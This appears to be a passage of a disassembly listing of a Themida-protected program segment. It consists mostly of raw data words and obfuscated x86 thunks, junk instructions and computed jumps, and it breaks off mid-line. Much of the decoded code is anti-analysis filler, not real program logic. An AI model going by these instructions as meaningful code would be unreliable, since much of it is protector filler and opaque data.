59C35920h, 4244C89h, 4244481h, 1Ch, 0F6C35141h, 697FB625h dd 9B1FD67h, 0BBBD8DF5h, 6A07E7CBh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0C3DCC353h dd 0DB4FFD6Dh, 0BF0F609Fh, 47B966C8h, 5360616Ch, 5BAFEA81h dd 815E160Dh, 39DEC0E7h, 94E96150h, 0F9000001h, 0F0DFB83h dd 6F85h, 66606000h, 8E01F781h, 0E8615951h, 11h, 0B6107EA6h dd 0CB5538BCh, 9C3A604Bh, 0F98B7A48h, 11E913h, 0D18A0000h dd 0E0CEE74Dh, 655F3D36h, 4AD9CCBEh, 5B4DBAB5h, 0C3BD8D61h dd 0F907E7CBh, 0F88B6660h, 40E961F8h, 60000001h, 13E9h dd 2DFBB200h, 0A463D86Ch, 0A09286BCh, 7D1BEBE2h, 17FD050Bh dd 58C0Fh, 81660000h, 6148D5E2h, 0F01FB83h, 7685h, 0F860F500h dd 0FE8h, 8E99B300h, 0E7900C0Ah, 99B6F7DBh, 0EEB2C3ABh dd 0AE9h, 6AA08A00h, 0C4E04C29h, 5A1BFC6Eh, 0CBBD8D61h dd 6A07E7CBh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0F936C350h, 0C1E9F5h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0D73B32C3h, 0E56BD222h, 83FC38A3h, 850F2AFBh, 49h, 61F96060h dd 0F1816660h, 0C18BC65Bh, 0BD8D6161h, 7E7CBD3h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 2EC35040h, 5DE9FCh dd 0EE90000h, 1A000000h, 333945E7h, 8CB8AB20h, 2B97C9E8h dd 27FB8383h, 326850Fh, 8DF50000h, 0E7CBDBBDh, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 8F0C9754h, 0AE9h, 5B692B00h, 25497930h, 60539D5Fh, 6B5DBA66h dd 870Fh, 89610000h, 0E7CBEBBDh, 0F08B6007h, 2820Fh, 61600000h dd 0C88C6661h, 14800Fh, 0FE90000h, 0 ; --------------------------------------------------------------------------- cmp al, 13h sub [ebx], ebx jmp short loc_5BF474 ; --------------------------------------------------------------------------- db 0CCh db 2Dh dd 8E4A1827h, 6E95435h, 8C000000h, 89F18273h, 6A032486h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 97D8C351h, 13E930h, 65890000h, 0E544438h dd 4D13A069h, 7E97D01h, 0A3439183h, 0FC00ABEh, 1D085h ; --------------------------------------------------------------------------- loc_5BF474: ; CODE XREF: Themida_:005BF420j add [eax+0Fh], ah lea eax, ds:66000000h and ebx, 8B66433Ah fldenv byte ptr [ecx+60h] mov eax, 3030D041h pusha mov si, cx sub bh, 0Eh popa popa lea esi, [ebp+7E7D2AAh] cld mov eax, [ebp+7E7D353h] push 0 push ebp call sub_5BF4AC and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF4AC proc near ; CODE XREF: Themida_:005BF4A4p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5BF4AC endp ; --------------------------------------------------------------------------- dd 92EE1E29h, 9E95250h, 15000000h, 0B4B1CE66h, 64359E40h dd 0AE9310Fh, 43000000h, 0A180CC57h, 1D1732B8h, 50585A4Ah dd 0A800Fh, 52500000h, 310F6160h, 585A6160h, 55006A92h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0A9896A00h, 0E9AC3E32h, 0Eh, 0B0635D0h, 0D42A0A74h dd 9561CE16h, 10F9972h, 60FE244Ch, 0BE9FCh, 62260000h dd 419C6932h, 8E52ADA7h, 6A5A610Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0D386C351h dd 6A24C283h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 85C352h, 0D0431011h, 31B26CDFh dd 728966FCh, 88C0FFCh, 0F000000h, 28Fh, 0C1616000h, 666010CEh dd 0E97A56BAh, 0Fh, 45114F13h, 0B57158A3h, 5DC6B93Fh, 6164F59Ch dd 2728966h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0DAC35343h, 4F3FDBAFh, 0FC99D8Dh, 1582h, 9E96000h dd 89000000h, 6D66F2D3h, 9A883442h, 0A3E88166h, 4CD61D5h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D6C35141h dd 9FE9F901h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 5778C357h, 81B66060h dd 61F861F5h, 53858BF9h, 6A07E7D3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E99BC350h dd 5, 7341B011h, 6E921h, 53E00000h, 0BFA3D2AAh, 0D2AAB58Dh dd 8DFC07E7h, 0E7841785h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0F8D0FF94h dd 11E9h, 0FE7F9500h, 53C9BC9Dh, 0DD24337Dh, 38137D73h dd 85896DF2h, 7E7CBE3h, 168D0Fh, 870F0000h, 10h, 0BE9h dd 72B4DB00h, 0B09ED5E2h, 0A2848D94h, 8B666061h, 0A2B966D6h dd 858B61C7h, 7E7CBE3h, 18C0Fh, 0C3F90000h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 8EC35747h, 0FFCFC336h dd 0F9650019h, 78E0F65h, 0F000000h, 18Dh, 6660F800h, 66DA22BFh dd 0B2BC281h, 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 5DC8CCC3h, 83CEF4BEh, 0E7D353BDh dd 850F0007h, 5Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 79C35646h, 60AF42F6h, 3810Fh, 0F4800000h dd 0CE81665Eh, 0C76195F4h, 0E7D35385h, 1013F07h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 144D2CB8h, 0E9FC44FEh, 18h, 12850Fh, 0DE90000h, 10000000h dd 0ACCF5A40h, 43809EE5h, 0BEC35740h, 20CDh, 0C00B0000h dd 708D3774h, 0EBBD8B0Ch, 0B907E7CBh, 8, 492275A6h, 488BFA75h dd 0E79D8B30h, 3B07E7CBh, 157F3458h, 0D26BD38Bh, 8BCA0304h dd 0E3858901h, 0EB07E7CBh, 0EB008B04h, 858B61C5h, 7E7CBE3h dd 8060F5CFh db 0F0h, 0A6h, 61h ; --------------------------------------------------------------------------- loc_5BF82B: ; CODE XREF: Themida_:loc_5BF07Aj mov eax, eax call near ptr loc_5BF843+2 aaa pop ebp add esi, [esi+4179F87Dh] call far ptr 0C636h:0CBAA622Eh mov esi, ds loc_5BF843: ; CODE XREF: Themida_:005BF82Dp shr dl, 59h movzx ebx, bx add ecx, 5A88h cld mov edx, 493E09B3h add edx, 0B6C20CBCh pusha mov ebx, 3A11C8AEh popa loc_5BF862: ; CODE XREF: Themida_:005BF8F8j mov esi, [ecx] or bx, 55BBh add esi, 67386A22h jg loc_5BF885 pusha jmp loc_5BF882 ; --------------------------------------------------------------------------- sub bl, [eax+ebx*2+797BA4C0h] loc_5BF882: ; CODE XREF: Themida_:005BF876j mov ebx, edi popa loc_5BF885: ; CODE XREF: Themida_:005BF86Fj sub esi, 537397C8h mov bh, dh xor esi, 2AA2D243h xor ax, 82B8h push esi jmp loc_5BF8AA ; --------------------------------------------------------------------------- dw 0E354h dd 3A9D84F6h, 0B26D96B7h db 0E8h, 7Fh ; --------------------------------------------------------------------------- loc_5BF8AA: ; CODE XREF: Themida_:005BF899j pop dword ptr [ecx] push edx jmp loc_5BF8C2 ; --------------------------------------------------------------------------- dw 8301h dd 4AC79DABh, 648DF453h, 42D090DFh db 0F9h, 4 ; --------------------------------------------------------------------------- loc_5BF8C2: ; CODE XREF: Themida_:005BF8ADj pop eax sub ecx, 4 dec edx jnz loc_5BF8EF jmp loc_5BF8DA ; --------------------------------------------------------------------------- dw 0C84Bh ; --------------------------------------------------------------------------- xchg eax, edx mov ds:3164EF0Eh, al loc_5BF8DA: ; CODE XREF: Themida_:005BF8CDj jmp loc_5BF902 ; --------------------------------------------------------------------------- jge short near ptr dword_5BF90C jno short loc_5BF8E9 psrld mm2, qword ptr [esi] or al, 7Ch inc esi loc_5BF8E9: ; CODE XREF: Themida_:005BF8E1j dec ebx sbb eax, 41274C56h loc_5BF8EF: ; CODE XREF: Themida_:005BF8C7j push edi pusha push eax pop ecx movzx eax, si popa pop edi jmp loc_5BF862 ; --------------------------------------------------------------------------- mov ebx, 5789B02h loc_5BF902: ; CODE XREF: Themida_:loc_5BF8DAj jmp loc_5BFA4F ; --------------------------------------------------------------------------- byte_5BF907 db 70h ; DATA XREF: Themida_:00585024o ; Themida_:005854A0o dd 74000000h dword_5BF90C dd 78000000h, 7C000000h, 80000000h, 84000000h, 88000000h ; CODE XREF: Themida_:005BF8DFj dd 8C000000h, 0D0000000h, 0D4000000h, 0D8000000h, 0DC000000h dd 0E0000000h, 0E4000000h, 0E8000000h, 0EC000000h, 0F0000000h dd 0F4000000h, 0F8000000h, 0FC000000h, 0 dd 4000001h, 8000001h, 0C000001h, 1, 37h dup(0) dd 67000000h, 3005BF9h ; --------------------------------------------------------------------------- retn 0B2h ; --------------------------------------------------------------------------- loc_5BFA4F: ; CODE XREF: Themida_:loc_5BF902j lea eax, [ebp+7E7D47Ch] pusha jmp loc_5BFA64 ; --------------------------------------------------------------------------- db 56h dd 0CE257EB5h, 8EE952B6h ; --------------------------------------------------------------------------- loc_5BFA64: ; CODE XREF: Themida_:005BFA56j mov [ebp+7E42B99h], eax popa mov [ebp+7E7D5BCh], eax xor [ebp+7E43015h], eax mov byte ptr [ebp+7E42C2Dh], 54h adc dx, 0CFB2h push 0FBE1882Eh xor dword ptr [esp], 1583E007h jmp loc_5BFA9F ; --------------------------------------------------------------------------- dd 0DE39E678h, 44EFEEABh db 0EDh, 19h, 0C6h ; --------------------------------------------------------------------------- loc_5BFA9F: ; CODE XREF: Themida_:005BFA8Fj push dword ptr [ebp+7E42141h] clc jl loc_5BFAB0 push edx push esi pop edi pop esi loc_5BFAB0: ; CODE XREF: Themida_:005BFAA6j lea eax, [ebp+7E7B0A7h] call eax mov ecx, [ebp+7E40D69h] mov [ebp+7E41815h], ebx mov [ebp+7E7D5C0h], eax or [ebp+7E40729h], esi jmp loc_5BFB1C ; --------------------------------------------------------------------------- cmc loc_5BFAD6: ; DATA XREF: Themida_:00582630o ; Themida_:005847B8o ... push esi mov esi, [ebp+7E7D5BCh] mov [esi], eax add dword ptr [ebp+7E7D5BCh], 4 pop esi retn ; =============== S U B R O U T I N E ======================================= sub_5BFAE8 proc near ; DATA XREF: Themida_:0058441Co pusha lea esi, [ebp+7E7D47Ch] jmp short loc_5BFB00 ; --------------------------------------------------------------------------- loc_5BFAF1: ; CODE XREF: sub_5BFAE8+1Bj push esi push 0 push dword ptr [esi] call dword ptr [ebp+7E7D5C0h] pop esi add esi, 4 loc_5BFB00: ; CODE XREF: sub_5BFAE8+7j cmp dword ptr [esi], 0 jnz short loc_5BFAF1 popa retn sub_5BFAE8 endp ; --------------------------------------------------------------------------- xor ebx, 624D14B3h jmp loc_5BFB1C ; --------------------------------------------------------------------------- dw 167Ah dd 1B6C9624h, 0E7D104CCh ; --------------------------------------------------------------------------- loc_5BFB1C: ; CODE XREF: Themida_:005BFAD0j ; Themida_:005BFB0Dj lea eax, [ebp+7E7D65Dh] mov [ebp+7E41675h], ecx mov [ebp+7E41F91h], eax jmp loc_5BFC35 ; --------------------------------------------------------------------------- db 0D3h dd 975B6640h, 838A055Ch, 1D76A188h, 0DD7A0E0Ah, 3733538Fh dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh dd 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h, 2060E0E0h dd 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h dd 60206020h, 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh dd 60206020h, 0A7286020h, 50F0362Bh, 0B6F360C9h, 0F796A1EFh dd 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h dd 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh dd 3D577DD7h, 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh dd 0D25D3407h, 1E59A0A3h, 7 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5BFC35: ; CODE XREF: Themida_:005BFB2Ej jmp loc_5C0962 ; --------------------------------------------------------------------------- push 7E7DA07h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E7DB39h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E7DC42h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E7DD30h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E7DDAEh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E7DE7Bh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E7DFC9h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E7E08Ch jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E7E13Fh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E7E21Bh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E7E2F7h jmp loc_58A287 ; --------------------------------------------------------------------------- dd 0E5799B73h, 42D6F6CFh, 0A236502Ch, 599AD8Ch, 64F814EFh dd 11EC658Bh, 714B61F5h, 0CBA9BF53h, 2E0B21B5h, 1FCF8216h dd 0A578DDA2h, 0A5347913h, 29617956h, 5430815Bh, 54BBDA3Ah dd 329A6268h, 7F3DA1D9h, 0DAEC04E1h, 3916093Dh, 0EDC710EEh dd 891D76CFh, 3989256Ah, 0A60F62BCh, 8FC73013h, 38CCE4C1h dd 20FA4522h, 0ED51FFBh, 0E7404324h, 0F687C5Bh, 3B502AD7h dd 8A5313A6h, 3B8663DAh, 9AEA4361h, 3BC4BB38h, 329213A6h dd 0A63CCEB5h, 0CA238C13h, 5ABC96B8h, 5AC5E1BCh, 13A63CA5h dd 0AF54D131h, 2B13A63Ch, 3D5769C2h, 0E63A4160h, 6B06F8B5h dd 0A61409EEh, 35CC513h, 0C7A472AAh, 703977AFh, 216C4934h dd 55F02848h, 823AACFCh, 12F1EF06h, 0C49BBDCFh, 0D877B23Bh dd 0C8E4BF5Dh, 5A817B6h, 56400000h, 97296179h, 7B843825h dd 35B2D1B3h, 1442E94Eh, 384AA30Ch, 4122411Eh, 2A737E79h dd 0B43633Ch, 2ABE1770h, 3E10DE50h, 0D37249C5h, 1A526A47h dd 454A6D7Fh, 3AB71969h, 1442BA45h, 0B896A811h, 0A6A9B13Bh dd 5E96FF13h, 0A68ECEB1h, 386C7D13h, 77EF7B84h, 355CD8h dd 4D850000h, 9F1C6C42h, 13A6A9E9h, 59063EA7h, 13A6AAA6h dd 2C501425h, 0D87807D3h, 344827C5h, 0BD8322h, 5A30000h dd 0E299162Bh, 7013A6A6h, 4822AE07h, 5643182Ah, 5B296179h dd 5E2C6480h, 63316981h, 801E6E86h, 0B8538BA3h, 1D8F84A6h dd 181442A3h, 798F233Bh, 754C849Ch, 0C744941Ah, 13A6B04Dh dd 0F716AA13h, 64C61698h, 0A6B810E7h, 4355BE13h, 51E7E865h dd 3AAC1440h, 47FEF791h, 0DAB7431Dh, 68D1B0C2h, 839F7A18h dd 0AFFED9EFh, 0BC43C0D5h, 1A1B8923h, 0EFCC58B1h, 0AD2A7ED7h dd 7A623299h, 0A07B43Ah, 855D0000h, 0E0B9CF63h, 3A162CC0h dd 97768C20h, 0FED9EF83h, 8F754EE2h, 4BDFFBD6h, 0A93D5B35h dd 0B9FB593h, 6C0018F5h, 0F78C09B9h, 6313A57Ah, 7B568F1Eh dd 0D8B5CB5Fh, 4D5B2CC0h, 445C3942h, 681E9BEBh, 2613A6A9h dd 8B1126B6h, 92E23CCCh, 0A6566E15h, 2A83EC13h, 4FB78DAh dd 9713A656h, 0CF6AA2BAh, 0E909E27Eh, 0ABBD16B1h, 3E153E5h dd 74BBBE35h, 532C2537h, 0F813A686h, 0C9A644A6h, 73DE79B1h dd 13A6868Ch, 0C617350Fh, 0F6AE4B5Dh, 314725C3h, 34502BF9h dd 11EEC9DBh, 0C6D877EBh, 0E2h, 19F492EFh, 9E2AC5FDh, 7A94A6C4h dd 6A118E9Dh, 0E81442A0h, 0CDB22F7Fh, 891442A0h, 0C18FC720h dd 0E592CAE6h, 1442A3EBh, 0E579916Eh, 0C8A7F2CFh, 6D0B5BB4h dd 0A0667890h, 19579C0Eh, 5CCD4C88h, 22E88F0Ch, 0FD661442h dd 0E7C7C8EBh, 9C822597h, 0CFD845C5h, 154D6743h, 0D8A687Ah dd 13A63E0Bh, 3D5CF059h, 8F0C5C52h, 1440D833h, 0EA88D841h dd 23BEF60Ch, 0A338BC3h, 32448C30h, 0BFDBB654h, 1E3A152Bh dd 32A417CAh, 5EE42462h, 8D5h, 195B78Fh, 5EF212EBh, 0BE526C48h dd 21B5C9A8h, 8014300Bh, 2D0841A7h, 8D677D11h, 0E7C5DB6Fh dd 4A273DD1h, 3BEB9E32h, 0A57B39BEh, 0C1509513h, 0CB5F7B56h dd 2D7453F1h, 67023A4Eh ; --------------------------------------------------------------------------- loc_5C0000: ; DATA XREF: Themida_:005829A0o push cs setalc inc esp mov dword ptr [eax], 9E1442A0h xor eax, 5D7150DCh and eax, 815E788Ah imul edx, ebp, 61795604h sub [ebx+7Eh], ebx db 66h shr byte ptr [ebx+0CA2ED63h], cl loc_5C0023: ; DATA XREF: Themida_:00582514o ; Themida_:005839A0o mov esp, 0A0F6E85Ah xchg eax, ebx mov ah, 0A0h inc eax stosd jmp dword ptr [eax+eax] ; --------------------------------------------------------------------------- dd 83CD419Bh, 0EBE4F64Fh, 13A6643Dh, 690E8BEBh, 0E613A7B4h dd 0A7B49269h, 86D74013h, 0B4D2A926h, 178013A7h, 6C5C65BEh dd 62DFF4CEh dword_5C005C dd 13A7B49Dh, 3F77D039h, 0CC9992A4h, 52ED6FC0h, 6FD7A3Dh ; DATA XREF: ___:off_444E7Co dd 0D412EF29h, 50C2126Bh, 1AC0F527h, 0AA889A36h, 0B37132Dh dd 94D04215h, 2B942D23h, 0E0857AF7h, 0E8511AD3h, 359E7D8Fh dd 456926FDh, 502078F5h, 89F21D34h, 0A6BE9B39h, 0C7C63812h dd 42E04CE6h, 0F80EEC78h, 0F91325C0h, 6CCFD1Ch, 0E05C62BFh dd 2EB83387h, 57975B85h, 7CCD1h, 9EC09800h, 0FB1BF40Ah dd 5B755167h, 0BED2B1C7h, 1D39142Ah, 114AB089h, 70861A36h dd 0CEE47896h, 3046DAF0h, 0F4A73B53h, 7C30C744h, 599E13A5h dd 617956CAh, 6A3D5229h, 0F8D17D30h, 0A22078D8h, 0C967B710h dd 0A9C5A0EDh, 457DD671h, 58BA98AAh, 0BA94DBBAh, 70C9649Ch dd 5229A638h, 1442ADh, 332C3E97h, 13A69F49h, 0EB0A9E07h dd 58BA0AA4h, 398274E6h, 6A7CCF0Ah, 414A0B71h, 1060C914h dd 2D7D9572h, 0B5A94ECBh, 0BC251B8Eh, 957288AAh, 0B48F2D7Dh dd 0B55F24A1h, 92FB1B8Eh, 976CE939h, 431B8EB5h, 2B02C8DAh dd 7DFA4A64h, 1C69632Eh, 0A54393FCh, 61CB0C8h, 2D91129h dd 5FD1218Dh, 0B330D269h, 3F185CCh, 9CC1218Ah, 2E0C1E7Bh dd 21F65ACCh, 0AD9567A3h, 0F804A29Bh, 0B6520415h, 1266BFDBh dd 5266B5E3h, 0DEBA4080h, 86000006h, 0E2F88CAEh, 3F55E909h dd 9FB54963h, 218ACC0h, 9E770B27h, 824FF58h, 66845E74h dd 0C8DEBCD2h, 29411E34h, 0B532E295h, 13A57DCEh, 4DB8478Ch dd 3F87542h, 941442A0h, 0E14A9BBBh, 65F7955h, 0F23918B6h dd 90A2FB17h, 76FE35B2h, 20BC13A5h, 55F02846h, 310EACFCh dd 95EE0CE6h, 0F60EEB01h, 0D3A8E7BEh, 8A3DBF9h, 18E25FAFh dd 0B6144145h, 1406F94Dh, 31716232h, 660ABh, 0A2C0400h dd 67876076h, 0C7E1BDD3h, 2A3E1D33h, 89A58096h, 7DD61CF5h dd 0DCF286A2h, 3A50E402h, 9CB2465Ch, 6013A7BFh, 7D4C33B0h dd 0C50A13A5h, 0B3309236h, 1442A0CCh, 0F515EE8Ah, 28678A9Ch dd 43B93686h, 1113A577h, 0DDBA58A8h, 3E1B31C5h, 7817EE26h dd 0B40D2703h, 0AEB8E764h, 5671442h, 0E5126A3h, 94FD1B8Dh dd 8D0E5229h, 0CCECC51Bh, 2100127Bh, 890668B8h, 1B8D0EF2h dd 0CCEAC460h, 0D1A62373h, 7D1B8D0Eh, 86240214h, 23FD91A9h dd 0B4A659B1h, 260369CEh, 89A3B50Eh, 0D24494ACh, 0DC98F2Ch dd 542BA8CCh, 21B8D42h, 682E4099h, 60B0FE91h, 6955C5E3h dd 5D23931Ch, 14E59CD1h, 9970C41Dh, 0F25A4B0Ch, 5932CB2h dd 0F9D10000h, 542D43D7h, 0AE8AA034h, 0BEA0094h, 724D63F7h dd 3E9C256h, 0BF536F4Ah, 1DB1CFA9h, 7F132907h, 0E0748C69h dd 7B007D2Dh, 0D713A57Eh, 79560392h, 7E5B2961h, 0DCB3D266h dd 8B0582D2h, 0C913A6B3h, 0D7EDCB69h, 0A6B4976Ch, 81DA4313h dd 0B4E39C49h, 576813A6h, 9906F2Fh, 0A406D878h, 0A6BC5027h dd 0CEE6C313h, 6302147Dh, 77h, 0EAEF1183h, 0BF57B20Ah dd 6816489Fh, 293B94F3h, 15F49254h, 316544FAh, 5FB84C56h dd 49652A4Dh, 1DF997F9h, 1E30CB03h, 0A62C6F25h, 4FCC2E13h dd 13A62EA8h, 0CCABBD26h, 0DF385630h, 7B651D8Fh, 39F43C98h dd 700B435Dh, 923F0517h, 13A633E9h, 4A9A0C5Eh, 213B77DBh dd 0C7B08322h, 0E7511967h, 500C38D5h, 0D8779FAFh, 2DFE77E9h dd 4AD080E5h, 0A39938h, 56C20000h, 5B296179h, 0BF06D80h dd 0C71442A0h, 3BCD055Eh, 4EEEC3C9h, 0C3D58C39h, 7CB4CCA9h dd 25B9D1AEh, 4278BE30h, 91DCB914h, 0AE429BB5h, 6BA3BB98h dd 63B3FB94h, 0A671F8E6h, 0A93DA613h, 59A9058Ah, 40A474DCh dd 4D9D0614h, 54744DEBh, 314D2842h, 99AC879Dh, 8978671Ch dd 318AF31Bh, 324436DDh, 0A3296962h, 445h, 9125471Fh, 0EE82A27Bh dd 4EE2FCD8h, 0B1455938h, 10A4C09Bh, 0BD98B137h, 1DF70DA1h dd 77556BFFh, 0DAB7CD61h, 0CB7B2EC2h, 0A57FA94Eh, 51E02513h dd 0CB5F7B56h, 2CC0D8B5h, 6C424D5Bh, 0A9E99F1Ch, 3EA713A6h dd 0AAA65906h, 0D32513A6h, 73F5935h, 89BD5A6Ch, 78072AD5h dd 0A6ABD8h, 69CB0000h, 0A6A617ECh, 485AC313h, 5A795673h dd 0AE9F2AF2h, 4393ECA5h, 9DAFC9A5h, 122E09D7h, 0CEA32DDAh dd 0D9B61442h, 3A172DC1h, 7C13EA22h, 31FAE22Bh, 50A96247h dd 25158300h, 0DA4313A6h, 46682746h, 1DF694F6h, 182AC5FDh dd 40DCA41Fh, 3181EA14h, 89CB893h, 0A7FB17F2h, 62329B76h dd 8277FD3Dh, 0E2000003h, 3E54E80Ah, 9BB14565h, 0FB11A5BFh dd 5E74081Ch, 0FAD36783h, 64805BF4h, 0C2E0BAD0h, 243A182Eh dd 859D7A90h, 118E3EF1h, 13A5406Ah, 5614A3E8h, 14EB687Bh dd 0C21442A0h, 566C0059h, 0FCCD6179h, 29617956h, 0D2667E5Bh dd 0A4EB61ABh, 6F3DBA0Ah, 3D13A68Ch, 69DBCBD4h, 7A5F7F94h dd 2D2638E4h, 0B793D5FAh, 33832B64h, 0BFC74CB6h, 0E5A212BFh dd 84A2241h, 73E5358Eh, 45C106E2h, 5F3BC73Eh, 966D3345h dd 8FA382F9h, 1363BC57h, 6E809875h, 22CF1390h, 0F18DA058h dd 52A2FB15h, 0AD8CD7B4h, 96AC4099h, 0DA4DA1B9h, 0EDB6193Ah dd 2CF27ADh, 0BD950000h, 18F1079Bh, 724E64F8h, 0CFAEC458h dd 361127BBh, 47AD861Ah, 8317330Eh, 0E175936Dh, 43D7EDCBh dd 0A438502Dh, 3FC441F1h, 9B13A541h, 7956C756h, 32AF1161h dd 1442A04Dh, 0C88EA009h, 0C0109EF1h, 0CBE3C05Eh, 815EC0B9h dd 8BF413A6h, 650D0F7h, 7FE81E89h, 9EFE12F1h, 1972B036h dd 374D2BC9h, 83E54725h, 0A6037106h, 6274DD13h, 422FBB69h dd 0B1F96914h, 0F7E49C26h, 0AFBAC31Ch, 0A7043F30h, 959553Ah dd 0C0552AA7h, 9801D815h, 112BA886h, 40DFF1E1h, 52D4BDCEh dd 5062A1BEh, 1AB80871h, 0BA99253Dh, 0C1D36EA6h, 0F0CB69FBh dd 0EF019CD4h, 0DFB8C3CCh, 3A93B38Ch, 0CC1491E1h, 8EC79ED0h dd 5A37D525h, 0BB98AE42h, 40789670h, 39F84CA5h, 0A295DAADh dd 1F3DC62h, 99710000h, 0F4CDE377h, 4E2A40D4h, 0AB8AA034h dd 12ED0397h, 638962F6h, 5FF30FEAh, 0BD516F49h, 1FB3C9A7h dd 80142C09h, 0DBA01DCDh, 7713A542h, 7956A332h, 0EB3B4F2Eh dd 42A0896Eh, 83DC4514h, 0C47B94Bh, 4275930Eh, 2966899Bh dd 12B83585h, 6113A66Fh, 0BED0E4C3h, 7D027FDFh, 0CA13A650h dd 0F6C83DFh, 2D96E746h, 981940D4h, 1F6F3F50h, 548CA481h dd 4CC9A7B9h, 1442F39Eh, 0B9D3AF4Dh, 6658C8A7h, 8FEF0F91h dd 0A0ABB40Dh, 0A37882BBh, 445E3AD8h, 2E800F32h, 4A6440DEh dd 63DD5A38h, 0F1DB1D3Ah, 16795088h, 48E64898h, 443D4F6Fh dd 0C33ACC1Ch, 0F94622BEh, 33CE061Ah, 7B07A2DAh, 0B24D859Fh dd 8E6B0959h, 0EFCCE276h, 74ACCAA4h, 0F2C80D9h, 0E0997690h dd 1171AA0h, 754D0000h, 0D0A9BF53h, 2A061CB0h, 87667C10h dd 0EEC9DF73h, 9F653ED2h, 3BCFEBC6h, 992D4B25h, 0FB8FA583h dd 5CF008E5h, 877CF9A9h, 5313A542h, 79567F0Eh, 23A502Eh dd 4CBE0E67h, 0AB0FBC7Eh, 0A3B796DDh, 867DFA4Ah, 54144266h dd 3C13D9EBh, 8E0B5B53h, 13A672E8h, 8F69FD66h, 1EF712F1h dd 0AD10522h, 0AF4A82DBh, 99157A9Dh, 539BCC49h, 0DE471441h dd 0FA14F08Eh, 0F29022E8h, 2AC5FD15h, 2D71A0CAh, 798BF831h dd 1A6A825Fh, 99443BB8h, 0A9121B89h, 825F7597h, 3EA0326Ah dd 89993AC1h, 0A32F981Bh, 9F98AACAh, 47083DE3h, 3C2363E0h dd 1C3A145Fh, 0A0F049E4h, 0D20A2802h, 7E3CC340h, 319A780Eh dd 55714CD8h, 2E0B2143h, 3110DE16h, 572EE51Dh, 0EFCE6C2Fh dd 0D2AFC9DBh dd 7EB146C3h, 0B41D780Eh, 0D4B1C75Bh, 753312B5h, 0EF484B5Eh dd 0B25019Fh, 602638D3h, 0F1CE6CCEh, 9B06A1D9h, 780E3AE4h dd 63E5E37h, 9FB11A6Bh, 8CDh, 0F4925C00h, 7EAFC1Ah, 5C7E56B8h dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h dd 768A6937h, 7A94703Eh, 7B9B7442h, 8952EE43h, 4C281E2h dd 50000000h, 4B8h, 58C22900h, 5C241487h, 18B268h, 242C8900h dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0EC812404h dd 4, 0BA241489h, 68547B1h, 4A08E2C1h, 0C281DAF7h, 57F72432h dd 0EA81D2F7h, 2568B4AFh, 545AD589h, 8124048Bh, 4C4h, 0B9515500h dd 31A6706Dh, 4244C01h, 8408F59h, 6D086881h, 8B31A670h ; --------------------------------------------------------------------------- add al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_58A287 ; --------------------------------------------------------------------------- sbb byte ptr [edi], 0F8h jmp short near ptr word_5C09BA ; --------------------------------------------------------------------------- std loc_5C0962: ; CODE XREF: Themida_:loc_5BFC35j mov eax, 7E7E433h add eax, ebp jmp eax ; --------------------------------------------------------------------------- mov edx, 40369FA1h ficom word ptr [bp+si] db 64h popf imul dword ptr [edx] jmp short loc_5C09C8 ; --------------------------------------------------------------------------- byte_5C0979 db 8Fh, 1Ch, 25h ; DATA XREF: Themida_:00585604o dd 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h dd 29B327CEh, 0DD5B34D1h, 17E62AC7h, 